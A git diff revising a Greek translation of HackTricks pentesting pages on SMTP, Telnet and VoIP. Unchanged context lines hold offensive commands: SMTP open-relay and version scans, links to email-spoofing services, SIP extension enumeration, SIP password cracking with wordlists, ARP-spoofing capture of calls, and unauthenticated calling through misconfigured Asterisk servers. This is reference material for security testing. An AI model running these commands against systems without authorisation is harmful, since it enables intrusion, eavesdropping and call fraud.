+Για να ελέγξετε αν ένας διακομιστής αλληλογραφίας είναι ανοιχτός διαμεσολαβητής (που σημαίνει ότι θα μπορούσε να προωθήσει email από οποιαδήποτε εξωτερική πηγή), το εργαλείο `nmap` χρησιμοποιείται συνήθως. Περιλαμβάνει ένα συγκεκριμένο σενάριο σχεδιασμένο για να το δοκιμάσει. Η εντολή για να διεξάγετε μια λεπτομερή σάρωση σε έναν διακομιστή (για παράδειγμα, με IP 10.10.10.10) στην πόρτα 25 χρησιμοποιώντας το `nmap` είναι:
 ```bash
 nmap -p25 --script smtp-open-relay 10.10.10.10 -v
 ```
 ### **Εργαλεία**

-* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Έλεγχος για κακή ρύθμιση SPF και DMARC**
-* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Αυτόματη λήψη ρυθμίσεων SPF και DMARC**
+* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Έλεγχος για παραμορφώσεις SPF και DMARC**
+* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Αυτόματος έλεγχος ρυθμίσεων SPF και DMARC**

-### Αποστολή Ψεύτικου Email
+### Αποστολή Ψευδούς Email

 * [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
 * [**http://www.anonymailer.net/**](http://www.anonymailer.net)
@ -510,10 +510,10 @@ s.sendmail(sender, [destination], msg_data)
 * Η ηλικία του τομέα
 * Συνδέσμοι που δείχνουν σε διευθύνσεις IP
 * Τεχνικές χειραγώγησης συνδέσμων
-* Υποψίες (ασυνήθιστες) συνημμένες
+* Ύποπτα (σπάνια) συνημμένα
 * Σπασμένο περιεχόμενο email
 * Τιμές που χρησιμοποιούνται που διαφέρουν από αυτές των κεφαλίδων του email
-* Ύπαρξη έγκυρου και αξιόπιστου πιστοποιητικού SSL
+* Υπαρξή έγκυρου και αξιόπιστου SSL πιστοποιητικού
 * Υποβολή της σελίδας σε ιστότοπους φιλτραρίσματος περιεχομένου

 ## Εξαγωγή μέσω SMTP
@ -589,9 +589,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
 ```
 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

@ -601,7 +601,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {

 <details>

-<summary>Υποστηρίξτε το HackTricks</summary>
+<summary>Υποστήριξη HackTricks</summary>

 * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
 * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
--- a/network-services-pentesting/pentesting-smtp/smtp-commands.md
+++ b/network-services-pentesting/pentesting-smtp/smtp-commands.md
@ -17,7 +17,7 @@

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές σας, το δίκτυο και το cloud**

 **Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

@ -32,13 +32,13 @@
 Μια εναλλακτική εντολή για να ξεκινήσει η συνομιλία, υπογραμμίζοντας ότι ο διακομιστής χρησιμοποιεί το πρωτόκολλο Extended SMTP.

 **MAIL FROM**\
-Με αυτή την εντολή SMTP αρχίζουν οι λειτουργίες: ο αποστολέας δηλώνει τη διεύθυνση email προέλευσης στο πεδίο “From” και στην πραγματικότητα ξεκινά τη μεταφορά email.
+Με αυτή την εντολή SMTP αρχίζουν οι διαδικασίες: ο αποστολέας δηλώνει τη διεύθυνση email προέλευσης στο πεδίο “From” και στην πραγματικότητα ξεκινά τη μεταφορά email.

 **RCPT TO**\
 Αναγνωρίζει τον παραλήπτη του email; αν υπάρχουν περισσότεροι από ένας, η εντολή απλά επαναλαμβάνεται διεύθυνση προς διεύθυνση.

 **SIZE**\
-Αυτή η εντολή SMTP ενημερώνει τον απομακρυσμένο διακομιστή για το εκτιμώμενο μέγεθος (σε όρους byte) του συνημμένου email. Μπορεί επίσης να χρησιμοποιηθεί για να αναφέρει το μέγιστο μέγεθος ενός μηνύματος που θα γίνει αποδεκτό από τον διακομιστή.
+Αυτή η εντολή SMTP ενημερώνει τον απομακρυσμένο διακομιστή για το εκτιμώμενο μέγεθος (σε bytes) του συνημμένου email. Μπορεί επίσης να χρησιμοποιηθεί για να αναφέρει το μέγιστο μέγεθος ενός μηνύματος που θα γίνει αποδεκτό από τον διακομιστή.

 **DATA**\
 Με την εντολή DATA αρχίζει η μεταφορά του περιεχομένου του email; γενικά ακολουθείται από έναν κωδικό απάντησης 354 που δίνεται από τον διακομιστή, δίνοντας την άδεια να ξεκινήσει η πραγματική μετάδοση.
@ -66,7 +66,7 @@

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές σας, το δίκτυο και το cloud**

 **Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

--- a/network-services-pentesting/pentesting-telnet.md
+++ b/network-services-pentesting/pentesting-telnet.md
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Get a hacker's perspective on your web apps, network, and cloud
+**Get a hacker's perspective on your web apps, network, and cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

@ -43,9 +43,9 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
 ```
 Το σενάριο `telnet-ntlm-info.nse` θα αποκτήσει πληροφορίες NTLM (εκδόσεις Windows).

-Από το [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Στο Πρωτόκολλο TELNET υπάρχουν διάφορες "**επιλογές**" που θα εγκριθούν και μπορεί να χρησιμοποιηθούν με τη δομή "**DO, DON'T, WILL, WON'T**" για να επιτρέψουν σε έναν χρήστη και σε έναν διακομιστή να συμφωνήσουν να χρησιμοποιήσουν ένα πιο περίπλοκο (ή ίσως απλώς διαφορετικό) σύνολο συμβάσεων για τη σύνδεση TELNET τους. Τέτοιες επιλογές θα μπορούσαν να περιλαμβάνουν την αλλαγή του συνόλου χαρακτήρων, τη λειτουργία ηχούς κ.λπ.
+Από το [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Στο Πρωτόκολλο TELNET υπάρχουν διάφορες "**επιλογές**" που θα εγκριθούν και μπορεί να χρησιμοποιηθούν με τη δομή "**DO, DON'T, WILL, WON'T**" για να επιτρέψουν σε έναν χρήστη και σε έναν διακομιστή να συμφωνήσουν να χρησιμοποιήσουν ένα πιο περίπλοκο (ή ίσως απλώς διαφορετικό) σύνολο συμβάσεων για τη σύνδεση TELNET τους. Τέτοιες επιλογές θα μπορούσαν να περιλαμβάνουν την αλλαγή του χαρακτήρα, τη λειτουργία ηχούς κ.λπ.

-**Ξέρω ότι είναι δυνατόν να απαριθμήσω αυτές τις επιλογές αλλά δεν ξέρω πώς, οπότε ενημέρωσέ με αν ξέρεις πώς.**
+**Ξέρω ότι είναι δυνατό να απαριθμήσω αυτές τις επιλογές αλλά δεν ξέρω πώς, οπότε ενημέρωσέ με αν ξέρεις πώς.**

 ### [Brute force](../generic-methodologies-and-resources/brute-force.md#telnet)

@ -89,9 +89,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
 ```
 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

--- a/network-services-pentesting/pentesting-voip/README.md
+++ b/network-services-pentesting/pentesting-voip/README.md
@ -17,9 +17,9 @@

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές ιστού, το δίκτυο και το cloud σας**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

@ -138,7 +138,7 @@ OPTIONS		Query the capabilities of an endpoint					RFC 3261
 555 Push Notification Service Not Supported
 580 Precondition Failure
 ```
-**6xx—Παγκόσμιες Αποτυχίες Αντίκτυποι**
+**6xx—Παγκόσμιες Αποτυχίες Αντιδράσεων**
 ```
 600 Busy Everywhere
 603 Decline
@ -151,7 +151,7 @@ OPTIONS		Query the capabilities of an endpoint					RFC 3261

 ### Τηλεφωνικοί Αριθμοί

-Ένα από τα πρώτα βήματα που θα μπορούσε να κάνει μια Red Team είναι να αναζητήσει διαθέσιμους τηλεφωνικούς αριθμούς για να επικοινωνήσει με την εταιρεία χρησιμοποιώντας εργαλεία OSINT, αναζητήσεις στο Google ή scraping των ιστοσελίδων.
+Ένα από τα πρώτα βήματα που θα μπορούσε να κάνει μια Red Team είναι να αναζητήσει διαθέσιμους τηλεφωνικούς αριθμούς για να επικοινωνήσει με την εταιρεία χρησιμοποιώντας εργαλεία OSINT, αναζητήσεις στο Google ή scraping ιστοσελίδων.

 Μόλις έχετε τους τηλεφωνικούς αριθμούς, μπορείτε να χρησιμοποιήσετε διαδικτυακές υπηρεσίες για να προσδιορίσετε τον πάροχο:

@ -207,12 +207,12 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati
 sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
 ```
 * **`svmap`** από το SIPVicious (`sudo apt install sipvicious`): Θα εντοπίσει τις υπηρεσίες SIP στο υποδεικνυόμενο δίκτυο.
-* `svmap` είναι **εύκολο να μπλοκαριστεί** επειδή χρησιμοποιεί τον User-Agent `friendly-scanner`, αλλά μπορείτε να τροποποιήσετε τον κώδικα από το `/usr/share/sipvicious/sipvicious` και να τον αλλάξετε.
+* `svmap` είναι **εύκολο να μπλοκαριστεί** επειδή χρησιμοποιεί τον User-Agent `friendly-scanner`, αλλά θα μπορούσατε να τροποποιήσετε τον κώδικα από το `/usr/share/sipvicious/sipvicious` και να τον αλλάξετε.
 ```bash
 # Use --fp to fingerprint the services
 svmap 10.10.0.0/24 -p 5060-5070 [--fp]
 ```
-* **`SIPPTS scan`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Η σάρωση SIPPTS είναι ένας πολύ γρήγορος σαρωτής για υπηρεσίες SIP μέσω UDP, TCP ή TLS. Χρησιμοποιεί πολλαπλές νήματα και μπορεί να σαρώσει μεγάλες περιοχές δικτύων. Επιτρέπει την εύκολη ένδειξη μιας περιοχής θυρών, τη σάρωση τόσο TCP όσο και UDP, τη χρήση άλλης μεθόδου (κατά προεπιλογή θα χρησιμοποιήσει OPTIONS) και τον καθορισμό διαφορετικού User-Agent (και άλλα).
+* **`SIPPTS scan`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Η σάρωση SIPPTS είναι ένας πολύ γρήγορος σαρωτής για υπηρεσίες SIP μέσω UDP, TCP ή TLS. Χρησιμοποιεί πολλαπλές νήματα και μπορεί να σαρώσει μεγάλες περιοχές δικτύων. Επιτρέπει την εύκολη ένδειξη μιας περιοχής θυρών, τη σάρωση τόσο TCP όσο και UDP, τη χρήση άλλης μεθόδου (κατά προεπιλογή θα χρησιμοποιήσει OPTIONS) και την καθορισμένη διαφορετική User-Agent (και άλλα).
 ```bash
 sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

@ -234,7 +234,7 @@ auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

 * **69/UDP (TFTP)**: Ενημερώσεις υλικολογισμικού
 * **80 (HTTP) / 443 (HTTPS)**: Για τη διαχείριση της συσκευής από το διαδίκτυο
-* **389 (LDAP)**: Εναλλακτική αποθήκευση πληροφοριών χρηστών
+* **389 (LDAP)**: Εναλλακτική για την αποθήκευση των πληροφοριών χρηστών
 * **3306 (MySQL)**: Βάση δεδομένων MySQL
 * **5038 (Manager)**: Επιτρέπει τη χρήση του Asterisk από άλλες πλατφόρμες
 * **5222 (XMPP)**: Μηνύματα χρησιμοποιώντας Jabber
@ -258,7 +258,7 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws
 ```
 ### Extension Enumeration

-Extensions σε ένα PBX (Private Branch Exchange) σύστημα αναφέρονται στους **μοναδικούς εσωτερικούς αναγνωριστικούς αριθμούς που αποδίδονται σε μεμονωμένες** τηλεφωνικές γραμμές, συσκευές ή χρήστες εντός ενός οργανισμού ή επιχείρησης. Οι extensions καθιστούν δυνατή την **αποτελεσματική δρομολόγηση κλήσεων εντός του οργανισμού**, χωρίς την ανάγκη για μεμονωμένους εξωτερικούς τηλεφωνικούς αριθμούς για κάθε χρήστη ή συσκευή.
+Extensions σε ένα PBX (Private Branch Exchange) σύστημα αναφέρονται στους **μοναδικούς εσωτερικούς αναγνωριστικούς αριθμούς που αποδίδονται σε μεμονωμένες** τηλεφωνικές γραμμές, συσκευές ή χρήστες εντός ενός οργανισμού ή επιχείρησης. Extensions καθιστούν δυνατή την **αποτελεσματική δρομολόγηση κλήσεων εντός του οργανισμού**, χωρίς την ανάγκη για μεμονωμένους εξωτερικούς τηλεφωνικούς αριθμούς για κάθε χρήστη ή συσκευή.

 * **`svwar`** από SIPVicious (`sudo apt install sipvicious`): `svwar` είναι ένας δωρεάν σαρωτής τηλεφωνικών γραμμών SIP PBX. Στην έννοια του λειτουργεί παρόμοια με τους παραδοσιακούς wardialers, **μαντεύοντας μια σειρά από extensions ή μια δεδομένη λίστα extensions**.
 ```bash
@ -307,7 +307,7 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt

 Αν βρείτε εξοπλισμό VoIP μέσα σε ένα **Ανοιχτό Wifi δίκτυο**, θα μπορούσατε να **καταγράψετε όλες τις πληροφορίες**. Επιπλέον, αν βρίσκεστε μέσα σε ένα πιο κλειστό δίκτυο (συνδεδεμένο μέσω Ethernet ή προστατευμένου Wifi) θα μπορούσατε να εκτελέσετε **MitM επιθέσεις όπως** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) μεταξύ του **PBX και της πύλης** προκειμένου να καταγράψετε τις πληροφορίες.

-Μεταξύ των πληροφοριών του δικτύου, θα μπορούσατε να βρείτε **διαπιστευτήρια ιστού** για τη διαχείριση του εξοπλισμού, **επεκτάσεις** χρηστών, **όνομα χρήστη**, **διευθύνσεις IP**, ακόμη και **hashed κωδικούς πρόσβασης** και **πακέτα RTP** που θα μπορούσατε να αναπαράγετε για να **ακούσετε τη συνομιλία**, και άλλα.
+Ανάμεσα στις πληροφορίες του δικτύου, θα μπορούσατε να βρείτε **διαπιστευτήρια ιστού** για τη διαχείριση του εξοπλισμού, **επεκτάσεις** χρηστών, **όνομα χρήστη**, **διευθύνσεις IP**, ακόμη και **hashed κωδικούς πρόσβασης** και **πακέτα RTP** που θα μπορούσατε να αναπαράγετε για να **ακούσετε τη συνομιλία**, και άλλα.

 Για να αποκτήσετε αυτές τις πληροφορίες, θα μπορούσατε να χρησιμοποιήσετε εργαλεία όπως το Wireshark, tcpdump... αλλά ένα **ειδικά δημιουργημένο εργαλείο για την καταγραφή συνομιλιών VoIP είναι** [**ucsniff**](https://github.com/Seabreg/ucsniff).

@ -318,18 +318,18 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt

 #### SIP credentials (Password Brute-Force - offline)

-[Δείτε αυτό το παράδειγμα για να κατανοήσετε καλύτερα μια **επικοινωνία SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) για να μάθετε πώς αποστέλλονται τα **διαπιστευτήρια**.
+[Δείτε αυτό το παράδειγμα για να κατανοήσετε καλύτερα μια **επικοινωνία SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) για να μάθετε πώς αποστέλλονται **τα διαπιστευτήρια**.

-* **`sipdump`** & **`sipcrack`,** μέρος του **sipcrack** (`apt-get install sipcrack`): Αυτά τα εργαλεία μπορούν να **εξάγουν** από ένα **pcap** τις **διαπιστεύσεις digest** μέσα στο πρωτόκολλο SIP και να τις **σπάσουν**.
+* **`sipdump`** & **`sipcrack`,** μέρος του **sipcrack** (`apt-get install sipcrack`): Αυτά τα εργαλεία μπορούν να **εξάγουν** από ένα **pcap** τις **διαπιστεύσεις αυθεντικοποίησης** μέσα στο πρωτόκολλο SIP και να τις **σπάσουν**.
 ```bash
 sipdump -p net-capture.pcap sip-creds.txt
 sipcrack sip-creds.txt -w dict.txt
 ```
-* **`SIPPTS dump`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS dump μπορεί να εξάγει διαπιστευτήρια αυθεντικοποίησης από ένα αρχείο pcap.
+* **`SIPPTS dump`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS dump μπορεί να εξάγει πιστοποιήσεις digest από ένα αρχείο pcap.
 ```bash
 sippts dump -f capture.pcap -o data.txt
 ```
-* **`SIPPTS dcrack`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS dcrack είναι ένα εργαλείο για να σπάσει τις διαπιστεύσεις digest που αποκτήθηκαν με το SIPPTS dump.
+* **`SIPPTS dcrack`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS dcrack είναι ένα εργαλείο για να σπάσει τις αυθεντικοποιήσεις digest που αποκτήθηκαν με το SIPPTS dump.
 ```bash
 sippts dcrack -f data.txt -w wordlist/rockyou.txt
 ```
@ -353,7 +353,7 @@ host=dynamic
 ```
 Αν καθοριστεί μια διεύθυνση IP, ο υπολογιστής **δεν θα χρειάζεται να στέλνει αιτήματα REGISTER** κάθε λίγο και λιγάκι (στο πακέτο REGISTER αποστέλλεται ο χρόνος ζωής, συνήθως 30 λεπτά, που σημαίνει ότι σε άλλη περίπτωση το τηλέφωνο θα χρειάζεται να REGISTER κάθε 30 λεπτά). Ωστόσο, θα χρειαστεί να έχει ανοιχτές θύρες που να επιτρέπουν συνδέσεις από τον διακομιστή VoIP για να δέχεται κλήσεις.

-Για να οριστούν οι χρήστες, μπορούν να οριστούν ως:
+Για να οριστούν οι χρήστες μπορούν να οριστούν ως:

 * **`type=user`**: Ο χρήστης μπορεί να δέχεται κλήσεις μόνο ως χρήστης.
 * **`type=friend`**: Είναι δυνατή η πραγματοποίηση κλήσεων ως peer και η λήψη τους ως χρήστης (χρησιμοποιείται με επεκτάσεις)
@ -366,7 +366,7 @@ host=dynamic
 * **`insecure=port,invite`**: Και τα δύο

 {% hint style="warning" %}
-Όταν χρησιμοποιείται **`type=friend`**, η **τιμή** της μεταβλητής **host** **δεν θα χρησιμοποιηθεί**, οπότε αν ένας διαχειριστής **παραμετροποιήσει λανθασμένα ένα SIP-trunk** χρησιμοποιώντας αυτή την τιμή, **οποιοσδήποτε θα μπορεί να συνδεθεί σε αυτό**.
+Όταν **`type=friend`** χρησιμοποιείται, η **τιμή** της **μεταβλητής host** **δεν θα χρησιμοποιηθεί**, οπότε αν ένας διαχειριστής **παραμετροποιήσει λανθασμένα ένα SIP-trunk** χρησιμοποιώντας αυτή την τιμή, **οποιοσδήποτε θα μπορεί να συνδεθεί σε αυτό**.

 Για παράδειγμα, αυτή η διαμόρφωση θα ήταν ευάλωτη:\
 `host=10.10.10.10`\
@ -376,7 +376,7 @@ host=dynamic

 ### Δωρεάν Κλήσεις / Λανθασμένες Διαμορφώσεις Πλαισίου Asterisks

-Στο Asterisk, ένα **context** είναι ένα ονομασμένο δοχείο ή τμήμα στο σχέδιο κλήσεων που **ομαδοποιεί σχετικές επεκτάσεις, ενέργειες και κανόνες**. Το σχέδιο κλήσεων είναι το κύριο συστατικό ενός συστήματος Asterisk, καθώς καθορίζει **πώς διαχειρίζονται και δρομολογούνται οι εισερχόμενες και εξερχόμενες κλήσεις**. Τα contexts χρησιμοποιούνται για την οργάνωση του σχεδίου κλήσεων, τη διαχείριση ελέγχου πρόσβασης και την παροχή διαχωρισμού μεταξύ διαφορετικών τμημάτων του συστήματος.
+Στο Asterisk, ένα **context** είναι ένα ονομασμένο δοχείο ή τμήμα στο σχέδιο κλήσεων που **ομαδοποιεί σχετικές επεκτάσεις, ενέργειες και κανόνες**. Το σχέδιο κλήσεων είναι το κύριο συστατικό ενός συστήματος Asterisk, καθώς καθορίζει **πώς διαχειρίζονται και δρομολογούνται οι εισερχόμενες και εξερχόμενες κλήσεις**. Τα contexts χρησιμοποιούνται για να οργανώσουν το σχέδιο κλήσεων, να διαχειριστούν τον έλεγχο πρόσβασης και να παρέχουν διαχωρισμό μεταξύ διαφορετικών τμημάτων του συστήματος.

 Κάθε context ορίζεται στο αρχείο διαμόρφωσης, συνήθως στο αρχείο **`extensions.conf`**. Τα contexts δηλώνονται με αγκύλες, με το όνομα του context να περιβάλλεται από αυτές. Για παράδειγμα:
 ```bash
@ -410,9 +410,9 @@ include => external
 Επιπλέον, από προεπιλογή το **`sip.conf`** αρχείο περιέχει **`allowguest=true`**, τότε **οποιοσδήποτε** επιτιθέμενος χωρίς **καμία αυθεντικοποίηση** θα μπορεί να καλέσει οποιονδήποτε άλλο αριθμό.
 {% endhint %}

-*   **`SIPPTS invite`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS invite ελέγχει αν ένας **διακομιστής PBX μας επιτρέπει να κάνουμε κλήσεις χωρίς αυθεντικοποίηση**. Εάν ο διακομιστής SIP έχει λανθασμένη ρύθμιση, θα μας επιτρέψει να κάνουμε κλήσεις σε εξωτερικούς αριθμούς. Μπορεί επίσης να μας επιτρέψει να μεταφέρουμε την κλήση σε έναν δεύτερο εξωτερικό αριθμό.
+*   **`SIPPTS invite`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS invite ελέγχει αν ένας **διακομιστής PBX μας επιτρέπει να κάνουμε κλήσεις χωρίς αυθεντικοποίηση**. Αν ο διακομιστής SIP έχει λανθασμένη ρύθμιση, θα μας επιτρέψει να κάνουμε κλήσεις σε εξωτερικούς αριθμούς. Μπορεί επίσης να μας επιτρέψει να μεταφέρουμε την κλήση σε έναν δεύτερο εξωτερικό αριθμό.

-Για παράδειγμα, εάν ο διακομιστής Asterisk σας έχει κακή ρύθμιση περιβάλλοντος, μπορείτε να αποδεχθείτε αίτημα INVITE χωρίς εξουσιοδότηση. Σε αυτή την περίπτωση, ένας επιτιθέμενος μπορεί να κάνει κλήσεις χωρίς να γνωρίζει κανένα χρήστη/κωδικό.
+Για παράδειγμα, αν ο διακομιστής Asterisk έχει κακή ρύθμιση περιβάλλοντος, μπορεί να αποδεχτεί αίτημα INVITE χωρίς εξουσιοδότηση. Σε αυτή την περίπτωση, ένας επιτιθέμενος μπορεί να κάνει κλήσεις χωρίς να γνωρίζει κανένα χρήστη/κωδικό.
  
 {% code overflow="wrap" %}
 ```bash
@ -434,7 +434,7 @@ IVRS σημαίνει **Σύστημα Διαδραστικής Φωνητική
 2. **DTMF** (Dual-Tone Multi-Frequency) σήμανση: Εισόδους τόνων αφής που παράγονται με την πίεση πλήκτρων στο τηλέφωνο, οι οποίες χρησιμοποιούνται για την πλοήγηση στα μενού IVR και την παροχή εισόδου.
 3. **Δρομολόγηση κλήσεων**: Κατεύθυνση κλήσεων στον κατάλληλο προορισμό, όπως συγκεκριμένα τμήματα, πράκτορες ή εσωτερικούς αριθμούς βάσει της εισόδου του χρήστη.
